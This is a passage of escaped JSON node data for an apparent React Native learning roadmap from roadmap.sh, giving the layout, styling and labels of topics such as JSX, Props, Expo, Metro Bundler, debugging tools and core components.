\"zIndex\": 999,\n      \"width\": 137,\n      \"height\": 49,\n      \"measured\": {\n        \"width\": 249,\n        \"height\": 49\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -329.8175069304428,\n        \"y\": 137.4393516042962\n      }\n    },\n    {\n      \"id\": \"cMfsRtvzvDZZJ0TqeUOxm\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 40.8618127280065,\n        \"y\": 83.4393516042962\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"What is React Native?\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"W4gEPRYmk5Y7y3PjI6fR7\"\n      },\n      \"zIndex\": 999,\n      \"width\": 303,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 303\n      },\n      \"measured\": {\n        \"width\": 303,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": 40.8618127280065,\n        \"y\": 83.4393516042962\n      }\n    },\n    {\n      \"id\": \"2rlmLn_yQQV-7DpX1qT98\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 40.8618127280065,\n        \"y\": 136.4393516042962\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Why use React Native?\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"VhSEH_RoWFt1z2lial7xZ\"\n      },\n      \"zIndex\": 999,\n      \"width\": 303,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 303\n      },\n      \"measured\": {\n        \"width\": 303,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": 40.8618127280065,\n        \"y\": 136.4393516042962\n      }\n    },\n    {\n      \"id\": \"w_rUaBorHFOY74S0JiEwM\",\n      \"type\": \"linksgroup\",\n      \"position\": {\n        \"x\": -710.4579568300146,\n        \"y\": -148.2948532825934\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Related Roadmaps\",\n        \"links\": [\n          {\n            \"id\": \"CVNNr97eZmGVFZyNVmR9b\",\n            \"label\": \"React Roadmap\",\n            \"href\": \"\",\n            \"url\": \"https://roadmap.sh/react\"\n          },\n          {\n            \"id\": \"GoM0EsaFMzWViwio3BucA\",\n            \"label\": \"JavaScript Roadmap\",\n            \"url\": \"https://roadmap.sh/javascript\"\n          },\n          {\n            \"id\": \"EW8A9X-9ELclN0pdvRE1G\",\n            \"label\": \"Flutter Roadmap\",\n            \"url\": \"https://roadmap.sh/flutter\"\n          },\n          {\n            \"id\": \"oWh5sZE3GhIEQKIuWYM0o\",\n            \"label\": \"Frontend Roadmap\",\n            \"url\": \"https://roadmap.sh/frontend\"\n          }\n        ]\n      },\n      \"zIndex\": 999,\n      \"measured\": {\n        \"width\": 355,\n        \"height\": 199\n      },\n      \"dragging\": false,\n      \"width\": 260,\n      \"height\": 192,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -710.4579568300146,\n        \"y\": -148.2948532825934\n      }\n    },\n    {\n      \"id\": \"ODQ8zrHc2rsc8PN-APKvz\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 40.8618127280065,\n        \"y\": 189.4393516042962\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"React Native Alternatives\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"VhSEH_RoWFt1z2lial7xZ\"\n      },\n      \"zIndex\": 999,\n      \"width\": 303,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 303\n      },\n      \"measured\": {\n        \"width\": 303,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": 40.8618127280065,\n        \"y\": 189.4393516042962\n      }\n    },\n    {\n      \"id\": \"cSXsu17F1Oy34Wp6J-N3C\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": -329.8175069304428,\n        \"y\": 190.4393516042962\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Learn the Pre-requisites\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"4U-HZQGH7kaWCB94Xy8Mh\"\n      },\n      \"zIndex\": 999,\n      \"width\": 232,\n      \"height\": 49,\n      \"measured\": {\n        \"width\": 249,\n        \"height\": 49\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -329.8175069304428,\n        \"y\": 190.4393516042962\n      }\n    },\n    {\n      \"id\": \"1oUJXtHGQ29ZZU9sxwGo2\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -709.6381872719935,\n        \"y\": 138.4393516042962\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"JavaScript Basics\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"0gH7vI_Hy7s9hO2TF6hR3\"\n      },\n      \"zIndex\": 999,\n      \"width\": 227,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 227\n      },\n      \"measured\": {\n        \"width\": 259,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -709.6381872719935,\n        \"y\": 138.4393516042962\n      }\n    },\n    {\n      \"id\": \"SnF3xtzBh-x4Z_qUQUg7H\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -709.6381872719935,\n        \"y\": 191.4393516042962\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"CSS Basics\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"0gH7vI_Hy7s9hO2TF6hR3\"\n      },\n      \"zIndex\": 999,\n      \"width\": 227,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 227\n      },\n      \"measured\": {\n        \"width\": 259,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -709.6381872719935,\n        \"y\": 191.4393516042962\n      }\n    },\n    {\n      \"id\": \"k9_hVOBd9ZmC4HLuAf46v\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -599.1381872719935,\n        \"y\": 296.43935160429623\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Components\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"s5YKenJY2Xv_PZBSxegEm\"\n      },\n      \"zIndex\": 999,\n      \"width\": 227,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 227\n      },\n      \"measured\": {\n        \"width\": 120,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -599.1381872719935,\n        \"y\": 296.43935160429623\n      }\n    },\n    {\n      \"id\": \"V7r1Hqk9IXTfjkjAg7-BT\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -693.1381872719935,\n        \"y\": 349.43935160429623\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"State\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"0gH7vI_Hy7s9hO2TF6hR3\"\n      },\n      \"zIndex\": 999,\n      \"width\": 80,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 80\n      },\n      \"measured\": {\n        \"width\": 90,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -693.1381872719935,\n        \"y\": 349.43935160429623\n      }\n    },\n    {\n      \"id\": \"s5YKenJY2Xv_PZBSxegEm\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -693.1381872719935,\n        \"y\": 296.43935160429623\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"JSX\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"0gH7vI_Hy7s9hO2TF6hR3\"\n      },\n      \"zIndex\": 999,\n      \"width\": 80,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 80\n      },\n      \"measured\": {\n        \"width\": 90,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -693.1381872719935,\n        \"y\": 296.43935160429623\n      }\n    },\n    {\n      \"id\": \"0gH7vI_Hy7s9hO2TF6hR3\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -599.1381872719935,\n        \"y\": 349.43935160429623\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Props\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 80,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 80\n      },\n      \"measured\": {\n        \"width\": 120,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -599.1381872719935,\n        \"y\": 349.43935160429623\n      }\n    },\n    {\n      \"id\": \"XDWpxBbW4vfJBO0jLtOZ5\",\n      \"type\": \"label\",\n      \"position\": {\n        \"x\": -656.1381872719935,\n        \"y\": 252.90074822234874\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"React Basics\",\n        \"style\": {\n          \"fontSize\": 17\n        },\n        \"href\": \"\",\n        \"color\": \"#000000\"\n      },\n      \"zIndex\": 999,\n      \"measured\": {\n        \"width\": 118,\n        \"height\": 38\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"width\": 118,\n      \"height\": 36,\n      \"positionAbsolute\": {\n        \"x\": -656.1381872719935,\n        \"y\": 252.90074822234874\n      }\n    },\n    {\n      \"id\": \"lNmddXrT8IHVtWobh3-oq\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": -329.8175069304428,\n        \"y\": 348.90074822234874\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Environment Setup\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"4U-HZQGH7kaWCB94Xy8Mh\"\n      },\n      \"zIndex\": 999,\n      \"width\": 191,\n      \"height\": 49,\n      \"measured\": {\n        \"width\": 249,\n        \"height\": 49\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -329.8175069304428,\n        \"y\": 348.90074822234874\n      }\n    },\n    {\n      \"id\": \"yW7nDDJbjmm8XKJI0hq3Q\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 41.3618127280065,\n        \"y\": 402.43935160429623\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Expo\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\",\n          \"colorType\": \"c\"\n        },\n        \"oldId\": \"zzOyoDcAQYkNNv07TIKeZ\"\n      },\n      \"zIndex\": 999,\n      \"width\": 303,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 303\n      },\n      \"measured\": {\n        \"width\": 303,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": 41.3618127280065,\n        \"y\": 402.43935160429623\n      }\n    },\n    {\n      \"id\": \"uLH9eo2G09wGO80XtFI5x\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 53.77103558174599,\n        \"y\": 461.43935160429623\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"create-expo-app\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"zzOyoDcAQYkNNv07TIKeZ\"\n      },\n      \"zIndex\": 999,\n      \"width\": 188,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 188\n      },\n      \"measured\": {\n        \"width\": 278,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": 53.77103558174599,\n        \"y\": 461.43935160429623\n      }\n    },\n    {\n      \"id\": \"9eOwhh2k59nvH-ztuDNjg\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 53.77103558174599,\n        \"y\": 514.4393516042962\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Expo Snack\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"zzOyoDcAQYkNNv07TIKeZ\"\n      },\n      \"zIndex\": 999,\n      \"width\": 188,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 188\n      },\n      \"measured\": {\n        \"width\": 278,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": 53.77103558174599,\n        \"y\": 514.4393516042962\n      }\n    },\n    {\n      \"id\": \"zzOyoDcAQYkNNv07TIKeZ\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 53.77103558174599,\n        \"y\": 567.4393516042962\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Expo Tradeoffs\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 188,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 188\n      },\n      \"measured\": {\n        \"width\": 278,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": 53.77103558174599,\n        \"y\": 567.4393516042962\n      }\n    },\n    {\n      \"id\": \"bxWLf0RDAl9Zaczkon9Rl\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 41.3618127280065,\n        \"y\": 295.90074822234874\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"React Native CLI\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"VhSEH_RoWFt1z2lial7xZ\"\n      },\n      \"zIndex\": 999,\n      \"width\": 303,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 303\n      },\n      \"measured\": {\n        \"width\": 303,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": 41.3618127280065,\n        \"y\": 295.90074822234874\n      }\n    },\n    {\n      \"id\": \"VhSEH_RoWFt1z2lial7xZ\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 41.3618127280065,\n        \"y\": 348.90074822234874\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Metro Bundler\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 303,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 303\n      },\n      \"measured\": {\n        \"width\": 303,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": 41.3618127280065,\n        \"y\": 348.90074822234874\n      }\n    },\n    {\n      \"id\": \"T4AhL9Zls2iNZMituGdtl\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": -329.8175069304428,\n        \"y\": 518.4393516042962\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Development Workflow\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"4U-HZQGH7kaWCB94Xy8Mh\"\n      },\n      \"zIndex\": 999,\n      \"width\": 220,\n      \"height\": 49,\n      \"measured\": {\n        \"width\": 249,\n        \"height\": 49\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -329.8175069304428,\n        \"y\": 518.4393516042962\n      }\n    },\n    {\n      \"id\": \"KyKMZ8Aa5XUAIWelGTiSt\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -709.6381872719935,\n        \"y\": 518.4393516042962\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Running on Device\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 191,\n      \"height\": 49,\n      \"measured\": {\n        \"width\": 259,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -709.6381872719935,\n        \"y\": 518.4393516042962\n      }\n    },\n    {\n      \"id\": \"fz-xz5Nbk5DHHcTUb9cBS\",\n      \"type\": \"label\",\n      \"position\": {\n        \"x\": -640.1381872719935,\n        \"y\": 577.9007482223487\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Debugging\",\n        \"style\": {\n          \"fontSize\": 17\n        },\n        \"href\": \"\",\n        \"color\": \"#000000\"\n      },\n      \"zIndex\": 999,\n      \"measured\": {\n        \"width\": 100,\n        \"height\": 38\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"width\": 100,\n      \"height\": 36,\n      \"positionAbsolute\": {\n        \"x\": -640.1381872719935,\n        \"y\": 577.9007482223487\n      }\n    },\n    {\n      \"id\": \"tOt_vvmnBtOUbgokmVa5P\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -697.6381872719935,\n        \"y\": 622.4393516042962\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"In-App Developer Menu\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"Dq490IqEJXoFZRnBFJI8N\"\n      },\n      \"zIndex\": 999,\n      \"width\": 233,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 233\n      },\n      \"measured\": {\n        \"width\": 233,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -697.6381872719935,\n        \"y\": 622.4393516042962\n      }\n    },\n    {\n      \"id\": \"wWwaEdnvBsvj6jD9LJ4Jj\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -697.6381872719935,\n        \"y\": 675.4393516042962\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Enabling Fast Refresh\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"HHx3VSfV7xf6RqACrxjBf\"\n      },\n      \"zIndex\": 999,\n      \"width\": 233,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 233\n      },\n      \"measured\": {\n        \"width\": 233,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -697.6381872719935,\n        \"y\": 675.4393516042962\n      }\n    },\n    {\n      \"id\": \"Tz-bRjQVkZedphelhAlWM\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -697.6381872719935,\n        \"y\": 728.4393516042962\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"LogBox\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"Dq490IqEJXoFZRnBFJI8N\"\n      },\n      \"zIndex\": 999,\n      \"width\": 233,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 233\n      },\n      \"measured\": {\n        \"width\": 109,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -697.6381872719935,\n        \"y\": 728.4393516042962\n      }\n    },\n    {\n      \"id\": \"Dq490IqEJXoFZRnBFJI8N\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -585.6381872719935,\n        \"y\": 728.4393516042962\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Sourcemaps\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 233,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 233\n      },\n      \"measured\": {\n        \"width\": 121,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -585.6381872719935,\n        \"y\": 728.4393516042962\n      }\n    },\n    {\n      \"id\": \"HHx3VSfV7xf6RqACrxjBf\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -697.6381872719935,\n        \"y\": 781.4393516042962\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"DevTools\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"Dq490IqEJXoFZRnBFJI8N\"\n      },\n      \"zIndex\": 999,\n      \"width\": 233,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 233\n      },\n      \"measured\": {\n        \"width\": 233,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -697.6381872719935,\n        \"y\": 781.4393516042962\n      }\n    },\n    {\n      \"id\": \"fnujIq6QAFB6bmTisuZ3T\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": -329.8175069304428,\n        \"y\": 896.4393516042962\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Core Components\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"4U-HZQGH7kaWCB94Xy8Mh\"\n      },\n      \"zIndex\": 999,\n      \"width\": 185,\n      \"height\": 49,\n      \"measured\": {\n        \"width\": 249,\n        \"height\": 49\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -329.8175069304428,\n        \"y\": 896.4393516042962\n      }\n    },\n    {\n      \"id\": \"OFhyYyxtrCBy_UUb5YBv5\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 39.8618127280065,\n        \"y\": 790.9007482223487\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Text\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 186,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 186\n      },\n      \"measured\": {\n        \"width\": 140,\n        \"height\": 49\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": 39.8618127280065,\n        \"y\": 790.9007482223487\n      }\n    },\n    {\n      \"id\": \"Frz1RYp3y9OwRb-3t2e85\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 185.8618127280065,\n        \"y\": 790.4393516042962\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Text Input\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 186,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 186\n      },\n      \"measured\": {\n        \"width\": 160,\n        \"height\": 49\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": 185.8618127280065,\n        \"y\": 790.4393516042962\n      }\n    },\n    {\n      \"id\": \"kkH9H9Qh1FD7sLItoWw69\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 39.8618127280065,\n        \"y\": 843.9007482223487\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Button\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 186,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 186\n      },\n      \"measured\": {\n        \"width\": 140,\n        \"height\": 49\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": 39.8618127280065,\n        \"y\": 843.9007482223487\n      }\n    },\n    {\n      \"id\": \"E7N8tSg2amZW-vc-X46JU\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 185.8618127280065,\n        \"y\": 843.4393516042962\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Image\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 186,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 186\n      },\n      \"measured\": {\n        \"width\": 160,\n        \"height\": 49\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": 185.8618127280065,\n        \"y\": 843.4393516042962\n      }\n    },\n    {\n      \"id\": \"GFGhnx5xUer2DdRI-SO4D\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 39.8618127280065,\n        \"y\": 896.9007482223487\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"ImageBackground\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 186,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 186\n      },\n      \"measured\": {\n        \"width\": 186,\n        \"height\": 49\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": 39.8618127280065,\n        \"y\": 896.9007482223487\n      }\n    },\n    {\n      \"id\": \"ouNTekf4VpZv-Vja8_bfM\",\n      \"type\": 